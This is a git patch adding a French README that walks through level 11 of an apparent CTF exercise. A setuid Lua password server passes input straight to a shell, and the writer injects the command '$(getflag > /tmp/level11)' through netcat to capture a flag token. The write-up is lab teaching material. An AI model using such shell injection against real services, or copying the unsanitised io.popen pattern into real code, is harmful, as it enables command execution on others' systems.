From 3e60a1558ddd5d3d6ec42ca6d512c59ca8628271 Mon Sep 17 00:00:00 2001
From: Raphael <rparodi@student.42.fr>
Date: Wed, 28 Jan 2026 02:49:10 +0100
Subject: [PATCH] docs(lvl11): adding the readme

---
 level11/README.md | 68 +++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 68 insertions(+)
 create mode 100644 level11/README.md

diff --git a/level11/README.md b/level11/README.md
new file mode 100644
index 0000000..454f930
--- /dev/null
+++ b/level11/README.md
@@ -0,0 +1,68 @@
+Lors de mon arriver sur le level 11 je remarque un fichier lua lisble
+
+```bash
+ls -l
+total 4
+-rwsr-sr-x 1 flag11 level11 668 Mar  5  2016 level11.lua
+```
+
+Je l'ouvre pour regarder le contenue
+```lua
+#!/usr/bin/env lua
+local socket = require("socket")
+local server = assert(socket.bind("127.0.0.1", 5151))
+
+function hash(pass)
+  prog = io.popen("echo "..pass.." | sha1sum", "r")
+  data = prog:read("*all")
+  prog:close()
+
+  data = string.sub(data, 1, 40)
+
+  return data
+end
+
+
+while 1 do
+  local client = server:accept()
+  client:send("Password: ")
+  client:settimeout(60)
+  local l, err = client:receive()
+  if not err then
+      print("trying " .. l)
+      local h = hash(l)
+
+      if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then
+          client:send("Erf nope..\n");
+      else
+          client:send("Gz you dumb*\n")
+      end
+
+  end
+
+  client:close()
+end
+```
+
+Le hash a ete decode via [CrashStation](https://crackstation.net/) et donne en sha1 NotSoEasy
+Ce n'est donc pas la reponse mais il fallait bien tenter
+
+Lors de la lecture du script nous pouvons voir que le port 5151 est ouvert et donc nous pouvons essayer de le lancer avec un netcat en ecoute de ce dernier
+
+Lorsqu'il est en ecoute il demande un password
+```bash
+nc localhost 5151
+Password: 
+```
+
+mais le hash est calculer en effectuant une commande `echo $args | sha1sum` (traduit en shell)
+nous pouvons donc executer une commande sur cette derniere mais le resultat ne nous sera pas afficher car pas envoyer au client mais nous pouvons la lancer directement pour rediriger dans un fichier
+```bash
+nc localhost 5151
+Password: $(getflag > /tmp/level11)
+Erf nope...
+
+cat /tmp/level11
+Check flag.Here is your token : fa6v5ateaw21peobuub8ipe6s
+```
+